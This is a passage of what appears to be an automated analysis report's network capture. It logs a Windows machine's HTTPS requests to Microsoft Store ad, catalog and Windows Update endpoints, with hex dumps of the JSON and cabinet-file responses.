US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114605Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:34 UTC 1295 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 125607bb-3337-4a3c-883a-9bfb67d68753
Date: Thu, 26 May 2022 11:46:34 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

61 192.168.2.4 49828 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:34 UTC 1295 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114606Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:34 UTC 1296 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e186652a-5280-4fed-8511-c96acd011840
Date: Thu, 26 May 2022 11:46:34 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

62 192.168.2.4 49829 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:34 UTC 1296 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=SpotifyAB.SpotifyMusic_zpdnekdrzrea0&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: GiqtprijtEm9TCQC.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-26 11:46:35 UTC 1297 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:34 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: ee50897e-544b-4fdb-8f84-b390ce522749
MS-RequestId: 37966c34-386f-4bcb-a8cb-056858abc167
MS-CV: GiqtprijtEm9TCQC.0.2.4.1057841853.4041740140.1.1057841853.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 6
Region: neu
Node: aks-bigcatrpns-32351330-vmss00004l
MS-DocumentVersions: 9NCBCSZSJRSB|4091
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2022-05-26 11:46:35 UTC 1297 IN Data Raw: 36 66 33 62 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 33 54 30 39 3a 35 39 3a 31 38 2e 35 39 34 34 30 37 
34 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 33 34 36 39 30 34 31 39 33 32 30 
39 39 33 37 31 39 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 
Data Ascii: 6f3b{"BigIds":["9NCBCSZSJRSB"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-13T09
:59:18.5944074Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3034690419320993719","EISListingIdentifier
":null,"BackgroundColor":"#1ed760",

2022-05-26 11:46:35 UTC 1301 IN Data Raw: 2d 62 31 34 38 2d 62 32 63 65 38 31 36 34 39 34 38 30 2e 64 30 38 35 39 36 63 36 2d 65 36 62 36 2d 34 38 
62 33 2d 38 66 63 39 2d 39 35 39 36 38 35 63 30 34 66 30 31 22 2c 22 57 69 64 74 68 22 3a 33 31 30 7d 2c 7b 22 46 69 
6c 65 49 64 22 3a 22 33 30 31 38 38 34 33 37 33 37 33 30 32 37 32 32 38 35 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 
49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 
37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 37 
30 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 34 36 35 2c 22 49 6d 
61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 
Data Ascii: -b148-b2ce81649480.d08596c6-e6b6-48b3-8fc9-959685c04f01","Width":310},{"FileId":"30188437373027228
54","EISListingIdentifier":null,"BackgroundColor":"#1ed760","Caption":"","FileSizeInBytes":12705,"ForegroundColor":"","H
eight":465,"ImagePositionInfo":"","Im

2022-05-26 11:46:35 UTC 1305 IN Data Raw: 22 23 31 65 64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 
74 65 73 22 3a 33 35 30 36 38 33 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 
22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 32 22 2c 22 49 
6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 
65 53 48 41 32 35 36 48 61 73 68 22 3a 22 59 4c 4e 66 68 57 66 7a 4c 68 2f 4b 39 4a 71 70 4c 67 37 7a 6e 79 48 56 67 
59 4d 4f 66 34 7a 66 56 75 77 78 5a 70 61 32 6b 4e 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 
65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 
Data Ascii: "#1ed760","Caption":"","FileSizeInBytes":350683,"ForegroundColor":"","Height":768,"ImagePositionIn
fo":"Desktop/2","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"YLNfhWfzLh/K9JqpLg7znyHVgYMOf
4zfVuwxZpa2kNY=","Uri":"//store-images.s-microsoft.com/im

2022-05-26 11:46:35 UTC 1309 IN Data Raw: 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 
2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 
22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 
59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 
43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 
22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 
2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 
Data Ascii: ,"GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A
Z","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","L
S","LR","MO","MK","MG","MW","IM","MH","MQ","MU"

2022-05-26 11:46:35 UTC 1313 IN Data Raw: 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 
22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 
2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 
22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 
2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 2c 22 50 72 6f 70 65 72 74 69 65 73 
22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 
43 53 5a 53 4a 52 53 42 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 
Data Ascii: ,"LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","U
Z","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentD
ata":{"ProductId":"9NCBCSZSJRSB","WuCategoryId"

2022-05-26 11:46:35 UTC 1317 IN Data Raw: 2d 38 61 34 66 2d 34 30 65 31 2d 39 61 36 37 2d 37 36 64 39 31 30 38 63 37 63 62 35 3a 46 75 6c 6c 22 5d 
2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 
4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 31 22 5d 2c 22 4c 69 63 65 6e 73 
69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 
62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 32 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 
73 22 3a 5b 22 31 22 5d 7d 5d 7d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 
67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 
Data Ascii: -8a4f-40e1-9a67-76d9108c7cb5:Full"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRSB
:0001"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRSB:0002"],"LicensingKeyIds":["1"]}]},"Markets":
["US"],"OrderManagementData":{"GrantedEnti

2022-05-26 11:46:35 UTC 1321 IN Data Raw: 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 
2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 22 4d 4d 22 2c 22 4e 41 
22 2c 22 4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 4e 
55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 5
2 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 22 
53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22
4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 
Data Ascii: ","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","
NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","
SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ

2022-05-26 11:46:35 UTC 1325 IN Data Raw: 30 32 32 2d 30 35 2d 31 33 54 30 39 3a 35 39 3a 31 38 2e 36 37 34 30 37 35 32 5a 22 2c 22 4d 61 72 6b 65 
74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 
74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 
63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 
74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 
6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 
7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 
Data Ascii: 022-05-13T09:59:18.6740752Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"
Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCo
de":""}},"Properties":{},"SkuId":"0011","Displa

2022-05-26 11:46:35 UTC 1325 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

63 192.168.2.4 49830 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:35 UTC 1296 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114607Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:35 UTC 1309 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c9c4f0b2-fa6d-4cf1-985f-2eb3ad8df2ee
Date: Thu, 26 May 2022 11:46:34 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

64 192.168.2.4 49831 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:35 UTC 1325 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114608Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:35 UTC 1326 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2640d72a-7d28-462d-b8b7-ebca36227c3c
Date: Thu, 26 May 2022 11:46:35 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

65 192.168.2.4 49832 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:35 UTC 1326 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:35 UTC 1327 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: d376830b-a28a-4df9-b210-8d2777298131
MS-RequestId: b137d1e3-ffb3-45fe-ad81-3e2e95c495d7
MS-CV: qJlzQhFypUahqoIo.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:35 GMT
Connection: close
Content-Length: 35877
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2022-05-26 11:46:35 UTC 1328 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:35 UTC 1343 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:35 UTC 1359 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

66 192.168.2.4 49833 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:35 UTC 1327 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114610Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:35 UTC 1363 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 5001db1b-d0e5-48c5-9730-ec10fe09e467
Date: Thu, 26 May 2022 11:46:34 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

67 192.168.2.4 49834 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:35 UTC 1363 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114611Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:35 UTC 1363 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 18f496cb-4376-4a36-b690-a3195af9f874
Date: Thu, 26 May 2022 11:46:35 GMT
Connection: close
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

68 192.168.2.4 49836 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:35 UTC 1364 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114611Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:36 UTC 1364 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b609f273-d462-4212-ae8d-3c39ec45d9d6
Date: Thu, 26 May 2022 11:46:35 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

69 192.168.2.4 49835 40.125.122.176 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:36 UTC 1364 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:36 UTC 1365 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 5fc07c83-1ea8-45bf-8350-e64b54797743
MS-RequestId: f09f3c00-a798-4a3d-948a-e7c13e9e3471
MS-CV: vaaZbeuDZkqKL86u.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:35 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:36 UTC 1366 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
